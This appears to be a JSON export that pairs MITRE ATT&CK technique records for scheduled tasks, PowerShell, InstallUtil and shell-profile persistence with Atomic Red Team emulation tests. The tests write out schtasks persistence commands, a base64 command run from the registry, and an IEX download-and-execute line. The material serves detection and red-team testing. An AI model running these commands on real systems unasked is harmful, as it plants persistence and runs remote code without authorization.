- "Command: Command Execution",
- "Scheduled Job: Scheduled Job Creation",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_remote_support": true,
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1053.002"
- },
- "atomic_tests": [
- {
- "name": "At.exe Scheduled task",
- "auto_generated_guid": "4a6c0dc4-0f2a-4203-9298-a5a9bdc21ed8",
- "description": "Executes cmd.exe\nNote: deprecated in Windows 8+\n\nUpon successful execution, cmd.exe will spawn at.exe and create a scheduled task that will spawn cmd at a specific time.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": false,
- "command": "at 13:20 /interactive cmd\n"
- }
- }
- ]
- },
- "T1035": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:36.550Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1035",
- "external_id": "T1035"
- }
- ],
- "modified": "2020-03-10T18:34:39.665Z",
- "name": "Service Execution",
- "description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_remote_support": true
- },
- "atomic_tests": []
- },
- "T1086": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:06.512Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1086",
- "url": "https://attack.mitre.org/techniques/T1086"
- },
- {
- "url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx",
- "description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.",
- "source_name": "TechNet PowerShell"
- },
- {
- "url": "https://github.com/mattifestation/PowerSploit",
- "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
- "source_name": "Powersploit"
- },
- {
- "url": "https://github.com/jaredhaight/PSAttack",
- "description": "Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.",
- "source_name": "Github PSAttack"
- },
- {
- "source_name": "Sixdub PowerPick Jan 2016",
- "url": "http://www.sixdub.net/?p=367",
- "description": "Warner, J.. (2015, January 6). Inexorable PowerShell \u2013 A Red Teamer\u2019s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018."
- },
- {
- "source_name": "SilentBreak Offensive PS Dec 2015",
- "url": "https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/",
- "description": "Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018."
- },
- {
- "source_name": "Microsoft PSfromCsharp APR 2014",
- "url": "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/",
- "description": "Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019."
- },
- {
- "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf",
- "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
- "source_name": "Malware Archaeology PowerShell Cheat Sheet"
- },
- {
- "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html",
- "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.",
- "source_name": "FireEye PowerShell Logging 2016"
- }
- ],
- "modified": "2020-03-09T13:51:06.334Z",
- "name": "PowerShell",
- "description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_remote_support": true
- },
- "atomic_tests": []
- },
- "T1118": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Casey Smith",
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:27.510Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "external_id": "T1118",
- "url": "https://attack.mitre.org/techniques/T1118",
- "source_name": "mitre-attack"
- },
- {
- "source_name": "MSDN InstallUtil",
- "description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.",
- "url": "https://msdn.microsoft.com/en-us/library/50614e95.aspx"
- },
- {
- "source_name": "LOLBAS Installutil",
- "url": "https://lolbas-project.github.io/lolbas/Binaries/Installutil/",
- "description": "LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019."
- }
- ],
- "modified": "2020-01-31T18:59:38.256Z",
- "name": "InstallUtil",
- "description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe
and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe
. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]
. (Citation: LOLBAS Installutil)",
- "kill_chain_phases": [
- {
- "phase_name": "defense-evasion",
- "kill_chain_name": "mitre-attack"
- },
- {
- "phase_name": "execution",
- "kill_chain_name": "mitre-attack"
- }
- ],
- "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Process whitelisting",
- "Digital Certificate Validation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- }
- }
- },
- {
- "category": "persistence",
- "data": {
- "T1053.005": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Andrew Northern, @ex_raritas",
- "Bryan Campbell, @bry_campbell",
- "Zachary Abzug, @ZackDoesML",
- "Selena Larson, @selenalarson"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
- "created": "2019-11-27T14:58:00.429Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1053.005",
- "url": "https://attack.mitre.org/techniques/T1053/005"
- },
- {
- "source_name": "ProofPoint Serpent",
- "url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain",
- "description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022."
- },
- {
- "source_name": "Twitter Leoloobeek Scheduled Task",
- "url": "https://twitter.com/leoloobeek/status/939248813465853953",
- "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017."
- },
- {
- "source_name": "Microsoft Scheduled Task Events Win10",
- "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events",
- "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019."
- },
- {
- "source_name": "TechNet Scheduled Task Events",
- "url": "https://technet.microsoft.com/library/dd315590.aspx",
- "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017."
- },
- {
- "source_name": "TechNet Autoruns",
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."
- },
- {
- "source_name": "TechNet Forum Scheduled Task Operational Setting",
- "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen",
- "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe
can not access tasks created with schtasks
or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)",
- "modified": "2022-04-14T20:59:17.110Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Scheduled Task/Job: Scheduled Task",
- "x_mitre_detection": "Monitor process execution from the svchost.exe
in Windows 10 and the Windows Task Scheduler taskeng.exe
for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "Scheduled Job: Scheduled Job Creation",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_remote_support": true,
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1053.005"
- },
- "atomic_tests": [
- {
- "name": "Scheduled Task Startup Script",
- "auto_generated_guid": "fec27f65-db86-4c2d-b66c-61945aee87c2",
- "description": "Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view\nthe tasks, open the Task Scheduler and look in the Active Tasks pane.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "schtasks /create /tn \"T1053_005_OnLogon\" /sc onlogon /tr \"cmd.exe /c calc.exe\"\nschtasks /create /tn \"T1053_005_OnStartup\" /sc onstart /ru system /tr \"cmd.exe /c calc.exe\"\n",
- "cleanup_command": "schtasks /delete /tn \"T1053_005_OnLogon\" /f >nul 2>&1\nschtasks /delete /tn \"T1053_005_OnStartup\" /f >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Scheduled task Local",
- "auto_generated_guid": "42f53695-ad4a-4546-abb6-7d837f644a71",
- "description": "Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "task_command": {
- "description": "What you want to execute",
- "type": "string",
- "default": "C:\\windows\\system32\\cmd.exe"
- },
- "time": {
- "description": "What time 24 Hour",
- "type": "string",
- "default": "20:10"
- }
- },
- "executor": {
- "name": "command_prompt",
- "elevation_required": false,
- "command": "SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}\n",
- "cleanup_command": "SCHTASKS /Delete /TN spawn /F >nul 2>&1\n"
- }
- },
- {
- "name": "Scheduled task Remote",
- "auto_generated_guid": "2e5eac3e-327b-4a88-a0c0-c4057039a8dd",
- "description": "Create a task on a remote system.\nUpon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "task_command": {
- "description": "What you want to execute",
- "type": "string",
- "default": "C:\\windows\\system32\\cmd.exe"
- },
- "time": {
- "description": "What time 24 Hour",
- "type": "string",
- "default": "20:10"
- },
- "target": {
- "description": "Target",
- "type": "string",
- "default": "localhost"
- },
- "user_name": {
- "description": "Username to authenticate with, format: DOMAIN\\User",
- "type": "string",
- "default": "DOMAIN\\user"
- },
- "password": {
- "description": "Password to authenticate with",
- "type": "string",
- "default": "At0micStrong"
- }
- },
- "executor": {
- "name": "command_prompt",
- "elevation_required": true,
- "command": "SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN \"Atomic task\" /TR \"#{task_command}\" /SC daily /ST #{time}\n",
- "cleanup_command": "SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password} /TN \"Atomic task\" /F >nul 2>&1\n"
- }
- },
- {
- "name": "Powershell Cmdlet Scheduled Task",
- "auto_generated_guid": "af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd",
- "description": "Create an atomic scheduled task that leverages native powershell cmdlets.\n\nUpon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "$Action = New-ScheduledTaskAction -Execute \"calc.exe\"\n$Trigger = New-ScheduledTaskTrigger -AtLogon\n$User = New-ScheduledTaskPrincipal -GroupId \"BUILTIN\\Administrators\" -RunLevel Highest\n$Set = New-ScheduledTaskSettingsSet\n$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set\nRegister-ScheduledTask AtomicTask -InputObject $object\n",
- "cleanup_command": "Unregister-ScheduledTask -TaskName \"AtomicTask\" -confirm:$false >$null 2>&1\n"
- }
- },
- {
- "name": "Task Scheduler via VBA",
- "auto_generated_guid": "ecd3fa21-7792-41a2-8726-2c5c673414d3",
- "description": "This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute \"notepad.exe\" within\n30 - 40 seconds after this module has run\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "ms_product": {
- "description": "Maldoc application Word",
- "type": "string",
- "default": "Word"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Microsoft #{ms_product} must be installed\n",
- "prereq_command": "try {\n New-Object -COMObject \"#{ms_product}.Application\" | Out-Null\n $process = \"#{ms_product}\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft #{ms_product} manually to meet this requirement\"\n"
- }
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053.005-macrocode.txt\" -officeProduct \"#{ms_product}\" -sub \"Scheduler\"\n",
- "name": "powershell",
- "cleanup_command": "Unregister-ScheduledTask -TaskName \"Run Notepad\" -Confirm:$false\n"
- }
- },
- {
- "name": "WMI Invoke-CimMethod Scheduled Task",
- "auto_generated_guid": "e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b",
- "description": "Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "xml_path": {
- "description": "path of vbs to use when creating masquerading files",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1053.005\\src\\T1053_005_WMI.xml"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "File to copy must exist on disk at specified location (#{xml_path})\n",
- "prereq_command": "if (Test-Path #{xml_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{xml_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_005_WMI.xml\" -OutFile \"#{xml_path}\"\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": true,
- "command": "$xml = [System.IO.File]::ReadAllText(\"#{xml_path}\")\nInvoke-CimMethod -ClassName PS_ScheduledTask -NameSpace \"Root\\Microsoft\\Windows\\TaskScheduler\" -MethodName \"RegisterByXml\" -Arguments @{ Force = $true; Xml =$xml; }\n",
- "cleanup_command": "Unregister-ScheduledTask -TaskName \"T1053_005_WMI\" -confirm:$false >$null 2>&1\n"
- }
- },
- {
- "name": "Scheduled Task Executing Base64 Encoded Commands From Registry",
- "auto_generated_guid": "e895677d-4f06-49ab-91b6-ae3742d0a2ba",
- "description": "A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created.\nThe scheduled task will launch powershell to decode and run the command in the registry daily.\nThis is a persistence mechanism recently seen in use by Qakbot. \n\n[Additiona Information](https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "time": {
- "description": "Daily scheduled task execution time",
- "type": "string",
- "default": "07:45"
- }
- },
- "executor": {
- "command": "reg add HKCU\\SOFTWARE\\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f\nschtasks.exe /Create /F /TN \"ATOMIC-T1053.005\" /TR \"cmd /c start /min \\\"\\\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\\\SOFTWARE\\\\ATOMIC-T1053.005).test)))\" /sc daily /st #{time}\n",
- "cleanup_command": "schtasks /delete /tn \"ATOMIC-T1053.005\" /F >nul 2>&1\nreg delete HKCU\\SOFTWARE\\ATOMIC-T1053.005 /F >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Import XML Schedule Task with Hidden Attribute",
- "auto_generated_guid": "cd925593-fbb4-486d-8def-16cbdf944bf4",
- "description": "Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. \nThis technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "xml_path": {
- "description": "path of vbs to use when creating masquerading files",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1053.005\\src\\T1053_05_SCTASK_HIDDEN_ATTRIB.xml"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "File to copy must exist on disk at specified location (#{xml_path})\n",
- "prereq_command": "if (Test-Path #{xml_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{xml_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_05_SCTASK_HIDDEN_ATTRIB.xml\" -OutFile \"#{xml_path}\"\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": true,
- "command": "$xml = [System.IO.File]::ReadAllText(\"#{xml_path}\")\nInvoke-CimMethod -ClassName PS_ScheduledTask -NameSpace \"Root\\Microsoft\\Windows\\TaskScheduler\" -MethodName \"RegisterByXml\" -Arguments @{ Force = $true; Xml =$xml; }\n",
- "cleanup_command": "Unregister-ScheduledTask -TaskName \"atomic red team\" -confirm:$false >$null 2>&1\n"
- }
- },
- {
- "name": "PowerShell Modify A Scheduled Task",
- "auto_generated_guid": "dda6fc7b-c9a6-4c18-b98d-95ec6542af6d",
- "description": "Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. \nIt will first be created to spawn cmd.exe, but modified to run notepad.exe.\n\nUpon successful execution, powershell.exe will create a scheduled task and modify the action. \n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "$Action = New-ScheduledTaskAction -Execute \"cmd.exe\"\n$Trigger = New-ScheduledTaskTrigger -AtLogon\n$User = New-ScheduledTaskPrincipal -GroupId \"BUILTIN\\Administrators\" -RunLevel Highest\n$Set = New-ScheduledTaskSettingsSet\n$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set\nRegister-ScheduledTask AtomicTaskModifed -InputObject $object\n$NewAction = New-ScheduledTaskAction -Execute \"Notepad.exe\"\nSet-ScheduledTask \"AtomicTaskModifed\" -Action $NewAction\n",
- "cleanup_command": "Unregister-ScheduledTask -TaskName \"AtomicTaskModifed\" -confirm:$false >$null 2>&1\n"
- }
- }
- ]
- },
- "T1156": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Robert Wilson",
- "Katie & Tony Lambert",
- "Joe Gervais"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1156",
- "url": "https://attack.mitre.org/techniques/T1156"
- },
- {
- "source_name": "intezer-kaiji-malware",
- "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/",
- "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020."
- }
- ],
- "modified": "2020-12-22T15:49:33.947Z",
- "name": "Malicious Shell Modification",
- "description": "Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command line interface or remotely logs in (such as SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user\u2019s home directory (~/) to configure the environment. All login shells on a system use /etc/profile
when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile
and /etc/profile.d
files (Citation: intezer-kaiji-malware). These files require root permissions and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile
, ~/.bash_login
, or ~/.profile
(Rocke) which are sourced when a user opens a command line interface or connects remotely. Adversaries often use ~/.bash_profile since the system only executes the first file that exists in the listed order. Adversaries have also leveraged the ~/.bashrc
file (Tsunami, Rocke, Linux Rabbit, Magento) which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command line interface. Some malware targets the termination of a program to trigger execution (Cannon), adversaries can use the ~/.bash_logout
file to execute malicious commands at the end of a session(Pearl_shellbot). \n\nFor macOS, the functionality of this technique is similar but leverages zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile
, /etc/zshenv
, /etc/zprofile
, and /etc/zlogin
. The login shell then configures the user environment with ~/.zprofile
and ~/.zlogin
. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout
and ~/.zlogout
are executed. For legacy programs, macOS executes /etc/bashrc
on startup.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nMonitor for changes to /ect/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Apple\u2019s Security Endpoint Framework using the ES_EVENT_TYPE_NOTIFY_WRITE(Citation: ESF_filemonitoring) function for monitoring these specific files. \n",
- "x_mitre_version": "1.1",
